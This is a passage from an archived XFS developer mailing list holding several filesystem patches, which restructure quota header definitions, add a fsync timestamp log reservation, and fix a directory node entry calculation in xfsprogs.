xfs_dquot_t that - * is kept in kernel memory. We pad this with some more expansion room - * to construct the on disk structure. - */ -typedef struct xfs_disk_dquot { - __be16 d_magic; /* dquot magic = XFS_DQUOT_MAGIC */ - __u8 d_version; /* dquot version */ - __u8 d_flags; /* XFS_DQ_USER/PROJ/GROUP */ - __be32 d_id; /* user,project,group id */ - __be64 d_blk_hardlimit;/* absolute limit on disk blks */ - __be64 d_blk_softlimit;/* preferred limit on disk blks */ - __be64 d_ino_hardlimit;/* maximum # allocated inodes */ - __be64 d_ino_softlimit;/* preferred inode limit */ - __be64 d_bcount; /* disk blocks owned by the user */ - __be64 d_icount; /* inodes owned by the user */ - __be32 d_itimer; /* zero if within inode limits if not, - this is when we refuse service */ - __be32 d_btimer; /* similar to above; for disk blocks */ - __be16 d_iwarns; /* warnings issued wrt num inodes */ - __be16 d_bwarns; /* warnings issued wrt disk blocks */ - __be32 d_pad0; /* 64 bit align */ - __be64 d_rtb_hardlimit;/* absolute limit on realtime blks */ - __be64 d_rtb_softlimit;/* preferred limit on RT disk blks */ - __be64 d_rtbcount; /* realtime blocks owned */ - __be32 d_rtbtimer; /* similar to above; for RT disk blocks */ - __be16 d_rtbwarns; /* warnings issued wrt RT disk blocks */ - __be16 d_pad; -} xfs_disk_dquot_t; - -/* - * This is what goes on disk. This is separated from the xfs_disk_dquot because - * carrying the unnecessary padding would be a waste of memory. - */ -typedef struct xfs_dqblk { - xfs_disk_dquot_t dd_diskdq; /* portion that lives incore as well */ - char dd_fill[4]; /* filling for posterity */ - - /* - * These two are only present on filesystems with the CRC bits set. - */ - __be32 dd_crc; /* checksum */ - __be64 dd_lsn; /* last modification in log */ - uuid_t dd_uuid; /* location information */ -} xfs_dqblk_t; - -/* * flags for q_flags field in the dquot. */ #define XFS_DQ_USER 0x0001 /* a user quota */ @@ -111,81 +52,6 @@ typedef struct xfs_dqblk { */ #define XFS_DQUOT_LOGRES(mp) (sizeof(xfs_disk_dquot_t) * 3) - -/* - * These are the structures used to lay out dquots and quotaoff - * records on the log. Quite similar to those of inodes. - */ - -/* - * log format struct for dquots. - * The first two fields must be the type and size fitting into - * 32 bits : log_recovery code assumes that. - */ -typedef struct xfs_dq_logformat { - __uint16_t qlf_type; /* dquot log item type */ - __uint16_t qlf_size; /* size of this item */ - xfs_dqid_t qlf_id; /* usr/grp/proj id : 32 bits */ - __int64_t qlf_blkno; /* blkno of dquot buffer */ - __int32_t qlf_len; /* len of dquot buffer */ - __uint32_t qlf_boffset; /* off of dquot in buffer */ -} xfs_dq_logformat_t; - -/* - * log format struct for QUOTAOFF records. - * The first two fields must be the type and size fitting into - * 32 bits : log_recovery code assumes that. - * We write two LI_QUOTAOFF logitems per quotaoff, the last one keeps a pointer - * to the first and ensures that the first logitem is taken out of the AIL - * only when the last one is securely committed. - */ -typedef struct xfs_qoff_logformat { - unsigned short qf_type; /* quotaoff log item type */ - unsigned short qf_size; /* size of this item */ - unsigned int qf_flags; /* USR and/or GRP */ - char qf_pad[12]; /* padding for future */ -} xfs_qoff_logformat_t; - - -/* - * Disk quotas status in m_qflags, and also sb_qflags. 16 bits. - */ -#define XFS_UQUOTA_ACCT 0x0001 /* user quota accounting ON */ -#define XFS_UQUOTA_ENFD 0x0002 /* user quota limits enforced */ -#define XFS_UQUOTA_CHKD 0x0004 /* quotacheck run on usr quotas */ -#define XFS_PQUOTA_ACCT 0x0008 /* project quota accounting ON */ -#define XFS_OQUOTA_ENFD 0x0010 /* other (grp/prj) quota limits enforced */ -#define XFS_OQUOTA_CHKD 0x0020 /* quotacheck run on other (grp/prj) quotas */ -#define XFS_GQUOTA_ACCT 0x0040 /* group quota accounting ON */ - -/* - * Start differentiating group quota and project quota in-core - * using distinct flags, instead of using the combined OQUOTA flags. - * - * Conversion to and from the combined OQUOTA flag (if necessary) - * is done only in xfs_sb_{to,from}_disk() - */ -#define XFS_GQUOTA_ENFD 0x0080 /* group quota limits enforced */ -#define XFS_GQUOTA_CHKD 0x0100 /* quotacheck run on group quotas */ -#define XFS_PQUOTA_ENFD 0x0200 /* project quota limits enforced */ -#define XFS_PQUOTA_CHKD 0x0400 /* quotacheck run on project quotas */ - -#define XFS_MOUNT_QUOTA_ALL (XFS_UQUOTA_ACCT|XFS_UQUOTA_ENFD|\ - XFS_UQUOTA_CHKD|XFS_GQUOTA_ACCT|\ - XFS_GQUOTA_ENFD|XFS_GQUOTA_CHKD|\ - XFS_PQUOTA_ACCT|XFS_PQUOTA_ENFD|\ - XFS_PQUOTA_CHKD) - -/* - * Quota Accounting/Enforcement flags - */ -#define XFS_ALL_QUOTA_ACCT \ - (XFS_UQUOTA_ACCT | XFS_GQUOTA_ACCT | XFS_PQUOTA_ACCT) -#define XFS_ALL_QUOTA_ENFD \ - (XFS_UQUOTA_ENFD | XFS_GQUOTA_ENFD | XFS_PQUOTA_ENFD) -#define XFS_ALL_QUOTA_CHKD \ - (XFS_UQUOTA_CHKD | XFS_GQUOTA_CHKD | XFS_PQUOTA_CHKD) - #define XFS_IS_QUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_ALL_QUOTA_ACCT) #define XFS_IS_UQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_UQUOTA_ACCT) #define XFS_IS_GQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_GQUOTA_ACCT) diff --git a/include/xfs_types.h b/include/xfs_types.h index 543fdf0..b144a8f 100644 --- a/include/xfs_types.h +++ b/include/xfs_types.h @@ -178,4 +178,10 @@ struct xfs_name { int len; }; +/* + * uid_t and gid_t are hard-coded to 32 bits in the inode. + * Hence, an 'id' in a dquot is 32 bits.. + */ +typedef __uint32_t xfs_dqid_t; + #endif /* __XFS_TYPES_H__ */ -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 285D229E1D for ; Wed, 4 Sep 2013 17:21:31 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id ECE93304048 for ; Wed, 4 Sep 2013 15:21:30 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f0005-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id A02zpVIg7OUJEBlB for ; Wed, 04 Sep 2013 15:21:29 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYGBk5AxsZiAG6No9xDIQHA6lbgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:27 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDB-0007dw-0I for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:05 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003vi-Hp for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 51/55] xfs: fix calculation of the number of node entries in a dir3 node Date: Thu, 5 Sep 2013 08:05:55 +1000 X-ASG-Orig-Subj: [PATCH 51/55] xfs: fix calculation of the number of node entries in a dir3 node Message-Id: <1378332359-14737-52-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333289 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The calculation doesn't take into account the size of the dir v3 header, so overestimates the hash entries in a node. This causes directory buffer overruns when splitting and merging nodes. Signed-off-by: Dave Chinner --- include/xfs_da_btree.h | 11 +++++++++-- libxfs/xfs_dir2.c | 16 ++++++++++------ 2 files changed, 19 insertions(+), 8 deletions(-) diff --git a/include/xfs_da_btree.h b/include/xfs_da_btree.h index 8cdc77b..b1f2679 100644 --- a/include/xfs_da_btree.h +++ b/include/xfs_da_btree.h @@ -133,12 +133,19 @@ extern void xfs_da3_node_hdr_to_disk(struct xfs_da_intnode *to, struct xfs_da3_icnode_hdr *from); static inline int -xfs_da3_node_hdr_size(struct xfs_da_intnode *dap) +__xfs_da3_node_hdr_size(bool v3) { - if (dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)) + if (v3) return sizeof(struct xfs_da3_node_hdr); return sizeof(struct xfs_da_node_hdr); } +static inline int +xfs_da3_node_hdr_size(struct xfs_da_intnode *dap) +{ + bool v3 = dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC); + + return __xfs_da3_node_hdr_size(v3); +} static inline struct xfs_da_node_entry * xfs_da3_node_tree_p(struct xfs_da_intnode *dap) diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c index 521042f..010c701 100644 --- a/libxfs/xfs_dir2.c +++ b/libxfs/xfs_dir2.c @@ -71,6 +71,9 @@ void xfs_dir_mount( xfs_mount_t *mp) { + int nodehdr_size; + + ASSERT(xfs_sb_version_hasdirv2(&mp->m_sb)); ASSERT((1 << (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)) <= XFS_MAX_BLOCKSIZE); @@ -79,12 +82,13 @@ xfs_dir_mount( mp->m_dirdatablk = xfs_dir2_db_to_da(mp, XFS_DIR2_DATA_FIRSTDB(mp)); mp->m_dirleafblk = xfs_dir2_db_to_da(mp, XFS_DIR2_LEAF_FIRSTDB(mp)); mp->m_dirfreeblk = xfs_dir2_db_to_da(mp, XFS_DIR2_FREE_FIRSTDB(mp)); - mp->m_attr_node_ents = - (mp->m_sb.sb_blocksize - (uint)sizeof(xfs_da_node_hdr_t)) / - (uint)sizeof(xfs_da_node_entry_t); - mp->m_dir_node_ents = - (mp->m_dirblksize - (uint)sizeof(xfs_da_node_hdr_t)) / - (uint)sizeof(xfs_da_node_entry_t); + + nodehdr_size = __xfs_da3_node_hdr_size(xfs_sb_version_hascrc(&mp->m_sb)); + mp->m_attr_node_ents = (mp->m_sb.sb_blocksize - nodehdr_size) / + (uint)sizeof(xfs_da_node_entry_t); + mp->m_dir_node_ents = (mp->m_dirblksize - nodehdr_size) / + (uint)sizeof(xfs_da_node_entry_t); + mp->m_dir_magicpct = (mp->m_dirblksize * 37) / 100; if (xfs_sb_version_hasasciici(&mp->m_sb)) mp->m_dirnameops = &xfs_ascii_ci_nameops; -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3DC3729DFC for ; Wed, 4 Sep 2013 17:21:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1D5CF304048 for ; Wed, 4 Sep 2013 15:21:30 -0700 (PDT) X-ASG-Debug-ID: 1378333281-04cb6c2e9dd581a0004-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id pj15ss1nWdO2jWOw for ; Wed, 04 Sep 2013 15:21:28 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2jhUUgVSEBwOiJIc3gzIqgSwBHw Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:27 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDB-0007dt-6Y for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:05 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003uf-BA for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 42/55] xfs: Introduce tr_fsyncts to m_reservation Date: Thu, 5 Sep 2013 08:05:46 +1000 X-ASG-Orig-Subj: [PATCH 42/55] xfs: Introduce tr_fsyncts to m_reservation Message-Id: <1378332359-14737-43-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333288 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu A preparation step. For now fsync_ts transaction use the pre-calculated log reservation size of tr_swrite. This patch introduce a new item tr_fsyncts to mp->m_reservations structure so that we can fetch the log reservation value for it in a same manner to others. Signed-off-by: Jie Liu --- include/xfs_trans_resv.h | 3 ++- libxfs/xfs_trans_resv.c | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/include/xfs_trans_resv.h b/include/xfs_trans_resv.h index 0aac1fa..326f17d 100644 --- a/include/xfs_trans_resv.h +++ b/include/xfs_trans_resv.h @@ -62,6 +62,7 @@ struct xfs_trans_resv { struct xfs_trans_res tr_qm_quotaoff; /* turn quota off */ struct xfs_trans_res tr_qm_equotaoff;/* end of turn quota off */ struct xfs_trans_res tr_sb; /* modify superblock */ + struct xfs_trans_res tr_fsyncts; /* update timestamps on fsync */ }; /* @@ -109,7 +110,7 @@ struct xfs_trans_resv { * Logging the inode timestamps on an fsync -- same as SWRITE * as long as SWRITE logs the entire inode core */ -#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_fsyncts.tr_logres) #define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) #define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_resv.tr_addafork.tr_logres) #define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_resv.tr_attrsetm.tr_logres) diff --git a/libxfs/xfs_trans_resv.c b/libxfs/xfs_trans_resv.c index e0b8ef6..36aeafe 100644 --- a/libxfs/xfs_trans_resv.c +++ b/libxfs/xfs_trans_resv.c @@ -734,6 +734,7 @@ xfs_trans_resv_calc( resp->tr_ichange.tr_logres = xfs_calc_ichange_reservation(mp); resp->tr_growdata.tr_logres = xfs_calc_growdata_reservation(mp); resp->tr_swrite.tr_logres = xfs_calc_swrite_reservation(mp); + resp->tr_fsyncts.tr_logres = xfs_calc_swrite_reservation(mp); resp->tr_writeid.tr_logres = xfs_calc_writeid_reservation(mp); resp->tr_attrsetrt.tr_logres = xfs_calc_attrsetrt_reservation(mp); resp->tr_clearagi.tr_logres = xfs_calc_clear_agi_bucket_reservation(mp); -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0FBB329E19 for ; Wed, 4 Sep 2013 17:21:31 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 82F78AC003 for ; Wed, 4 Sep 2013 15:21:30 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f0004-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Pgij7y3PoGbBlDw8 for ; Wed, 04 Sep 2013 15:21:27 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnkIAKexJ1J5LJ62/2dsb2JhbABTCIMHrlGVIRd0giQBAQUnLzMIGBgZOQMbGYgBujaOIwaBSIQTA6IkhzeDMiqBLQ Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:23 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007dc-Vd for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003t3-Uv for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 24/55] xfs: introduce xfs_quota_defs.h Date: Thu, 5 Sep 2013 08:05:28 +1000 X-ASG-Orig-Subj: [PATCH 24/55] xfs: introduce xfs_quota_defs.h Message-Id: <1378332359-14737-25-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333287 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There are a lot of quota flag definitions that are shared by user and kernel space. Move them all to xfs_quota_defs.h so we can unshare xfs_quota.h and remove the __KERNEL__ regions from it. Signed-off-by: Dave Chinner --- include/Makefile | 2 +- include/libxfs.h | 2 +- include/xfs_quota.h | 262 ----------------------------------------------- include/xfs_quota_defs.h | 157 ++++++++++++++++++++++++++++ 4 files changed, 159 insertions(+), 264 deletions(-) delete mode 100644 include/xfs_quota.h create mode 100644 include/xfs_quota_defs.h diff --git a/include/Makefile b/include/Makefile index 3610726..11f13dd 100644 --- a/include/Makefile +++ b/include/Makefile @@ -36,7 +36,7 @@ QAHFILES = libxfs.h libxlog.h \ xfs_log_recover.h \ xfs_metadump.h \ xfs_mount.h \ - xfs_quota.h \ + xfs_quota_defs.h \ xfs_sb.h \ xfs_symlink.h \ xfs_trace.h xfs_trans.h xfs_trans_space.h xfs_dfrag.h diff --git a/include/libxfs.h b/include/libxfs.h index 8c09b77..81495c3 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -39,6 +39,7 @@ #include #include +#include #include #include @@ -617,7 +618,6 @@ extern unsigned long libxfs_physmem(void); /* in kilobytes */ #include #include -#include #include #define XFS_INOBT_IS_FREE_DISK(rp,i) \ diff --git a/include/xfs_quota.h b/include/xfs_quota.h deleted file mode 100644 index 477093a..0000000 --- a/include/xfs_quota.h +++ /dev/null @@ -1,262 +0,0 @@ -/* - * Copyright (c) 2000-2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_QUOTA_H__ -#define __XFS_QUOTA_H__ - -struct xfs_trans; - -/* - * Even though users may not have quota limits occupying all 64-bits, - * they may need 64-bit accounting. Hence, 64-bit quota-counters, - * and quota-limits. This is a waste in the common case, but hey ... - */ -typedef __uint64_t xfs_qcnt_t; -typedef __uint16_t xfs_qwarncnt_t; - -/* - * flags for q_flags field in the dquot. - */ -#define XFS_DQ_USER 0x0001 /* a user quota */ -#define XFS_DQ_PROJ 0x0002 /* project quota */ -#define XFS_DQ_GROUP 0x0004 /* a group quota */ -#define XFS_DQ_DIRTY 0x0008 /* dquot is dirty */ -#define XFS_DQ_FREEING 0x0010 /* dquot is beeing torn down */ - -#define XFS_DQ_ALLTYPES (XFS_DQ_USER|XFS_DQ_PROJ|XFS_DQ_GROUP) - -#define XFS_DQ_FLAGS \ - { XFS_DQ_USER, "USER" }, \ - { XFS_DQ_PROJ, "PROJ" }, \ - { XFS_DQ_GROUP, "GROUP" }, \ - { XFS_DQ_DIRTY, "DIRTY" }, \ - { XFS_DQ_FREEING, "FREEING" } - -/* - * In the worst case, when both user and group quotas are on, - * we can have a max of three dquots changing in a single transaction. - */ -#define XFS_DQUOT_LOGRES(mp) (sizeof(xfs_disk_dquot_t) * 3) - -#define XFS_IS_QUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_ALL_QUOTA_ACCT) -#define XFS_IS_UQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_UQUOTA_ACCT) -#define XFS_IS_GQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_GQUOTA_ACCT) -#define XFS_IS_PQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_PQUOTA_ACCT) -#define XFS_IS_UQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_UQUOTA_ENFD) -#define XFS_IS_GQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_GQUOTA_ENFD) -#define XFS_IS_PQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_PQUOTA_ENFD) - -/* - * Incore only flags for quotaoff - these bits get cleared when quota(s) - * are in the process of getting turned off. These flags are in m_qflags but - * never in sb_qflags. - */ -#define XFS_UQUOTA_ACTIVE 0x1000 /* uquotas are being turned off */ -#define XFS_GQUOTA_ACTIVE 0x4000 /* gquotas are being turned off */ -#define XFS_PQUOTA_ACTIVE 0x2000 /* pquotas are being turned off */ -#define XFS_ALL_QUOTA_ACTIVE \ - (XFS_UQUOTA_ACTIVE | XFS_GQUOTA_ACTIVE | XFS_PQUOTA_ACTIVE) - -/* - * Checking XFS_IS_*QUOTA_ON() while holding any inode lock guarantees - * quota will be not be switched off as long as that inode lock is held. - */ -#define XFS_IS_QUOTA_ON(mp) ((mp)->m_qflags & (XFS_UQUOTA_ACTIVE | \ - XFS_GQUOTA_ACTIVE | \ - XFS_PQUOTA_ACTIVE)) -#define XFS_IS_UQUOTA_ON(mp) ((mp)->m_qflags & XFS_UQUOTA_ACTIVE) -#define XFS_IS_GQUOTA_ON(mp) ((mp)->m_qflags & XFS_GQUOTA_ACTIVE) -#define XFS_IS_PQUOTA_ON(mp) ((mp)->m_qflags & XFS_PQUOTA_ACTIVE) - -/* - * Flags to tell various functions what to do. Not all of these are meaningful - * to a single function. None of these XFS_QMOPT_* flags are meant to have - * persistent values (ie. their values can and will change between versions) - */ -#define XFS_QMOPT_DQALLOC 0x0000002 /* alloc dquot ondisk if needed */ -#define XFS_QMOPT_UQUOTA 0x0000004 /* user dquot requested */ -#define XFS_QMOPT_PQUOTA 0x0000008 /* project dquot requested */ -#define XFS_QMOPT_FORCE_RES 0x0000010 /* ignore quota limits */ -#define XFS_QMOPT_SBVERSION 0x0000040 /* change superblock version num */ -#define XFS_QMOPT_DOWARN 0x0000400 /* increase warning cnt if needed */ -#define XFS_QMOPT_DQREPAIR 0x0001000 /* repair dquot if damaged */ -#define XFS_QMOPT_GQUOTA 0x0002000 /* group dquot requested */ -#define XFS_QMOPT_ENOSPC 0x0004000 /* enospc instead of edquot (prj) */ - -/* - * flags to xfs_trans_mod_dquot to indicate which field needs to be - * modified. - */ -#define XFS_QMOPT_RES_REGBLKS 0x0010000 -#define XFS_QMOPT_RES_RTBLKS 0x0020000 -#define XFS_QMOPT_BCOUNT 0x0040000 -#define XFS_QMOPT_ICOUNT 0x0080000 -#define XFS_QMOPT_RTBCOUNT 0x0100000 -#define XFS_QMOPT_DELBCOUNT 0x0200000 -#define XFS_QMOPT_DELRTBCOUNT 0x0400000 -#define XFS_QMOPT_RES_INOS 0x0800000 - -/* - * flags for dqalloc. - */ -#define XFS_QMOPT_INHERIT 0x1000000 - -/* - * flags to xfs_trans_mod_dquot. - */ -#define XFS_TRANS_DQ_RES_BLKS XFS_QMOPT_RES_REGBLKS -#define XFS_TRANS_DQ_RES_RTBLKS XFS_QMOPT_RES_RTBLKS -#define XFS_TRANS_DQ_RES_INOS XFS_QMOPT_RES_INOS -#define XFS_TRANS_DQ_BCOUNT XFS_QMOPT_BCOUNT -#define XFS_TRANS_DQ_DELBCOUNT XFS_QMOPT_DELBCOUNT -#define XFS_TRANS_DQ_ICOUNT XFS_QMOPT_ICOUNT -#define XFS_TRANS_DQ_RTBCOUNT XFS_QMOPT_RTBCOUNT -#define XFS_TRANS_DQ_DELRTBCOUNT XFS_QMOPT_DELRTBCOUNT - - -#define XFS_QMOPT_QUOTALL \ - (XFS_QMOPT_UQUOTA | XFS_QMOPT_PQUOTA | XFS_QMOPT_GQUOTA) -#define XFS_QMOPT_RESBLK_MASK (XFS_QMOPT_RES_REGBLKS | XFS_QMOPT_RES_RTBLKS) - -#ifdef __KERNEL__ -/* - * This check is done typically without holding the inode lock; - * that may seem racy, but it is harmless in the context that it is used. - * The inode cannot go inactive as long a reference is kept, and - * therefore if dquot(s) were attached, they'll stay consistent. - * If, for example, the ownership of the inode changes while - * we didn't have the inode locked, the appropriate dquot(s) will be - * attached atomically. - */ -#define XFS_NOT_DQATTACHED(mp, ip) ((XFS_IS_UQUOTA_ON(mp) &&\ - (ip)->i_udquot == NULL) || \ - (XFS_IS_OQUOTA_ON(mp) && \ - (ip)->i_gdquot == NULL)) - -#define XFS_QM_NEED_QUOTACHECK(mp) \ - ((XFS_IS_UQUOTA_ON(mp) && \ - (mp->m_sb.sb_qflags & XFS_UQUOTA_CHKD) == 0) || \ - (XFS_IS_GQUOTA_ON(mp) && \ - (mp->m_sb.sb_qflags & XFS_GQUOTA_CHKD) == 0) || \ - (XFS_IS_PQUOTA_ON(mp) && \ - (mp->m_sb.sb_qflags & XFS_PQUOTA_CHKD) == 0)) - -/* - * The structure kept inside the xfs_trans_t keep track of dquot changes - * within a transaction and apply them later. - */ -typedef struct xfs_dqtrx { - struct xfs_dquot *qt_dquot; /* the dquot this refers to */ - ulong qt_blk_res; /* blks reserved on a dquot */ - ulong qt_blk_res_used; /* blks used from the reservation */ - ulong qt_ino_res; /* inode reserved on a dquot */ - ulong qt_ino_res_used; /* inodes used from the reservation */ - long qt_bcount_delta; /* dquot blk count changes */ - long qt_delbcnt_delta; /* delayed dquot blk count changes */ - long qt_icount_delta; /* dquot inode count changes */ - ulong qt_rtblk_res; /* # blks reserved on a dquot */ - ulong qt_rtblk_res_used;/* # blks used from reservation */ - long qt_rtbcount_delta;/* dquot realtime blk changes */ - long qt_delrtb_delta; /* delayed RT blk count changes */ -} xfs_dqtrx_t; - -#ifdef CONFIG_XFS_QUOTA -extern void xfs_trans_dup_dqinfo(struct xfs_trans *, struct xfs_trans *); -extern void xfs_trans_free_dqinfo(struct xfs_trans *); -extern void xfs_trans_mod_dquot_byino(struct xfs_trans *, struct xfs_inode *, - uint, long); -extern void xfs_trans_apply_dquot_deltas(struct xfs_trans *); -extern 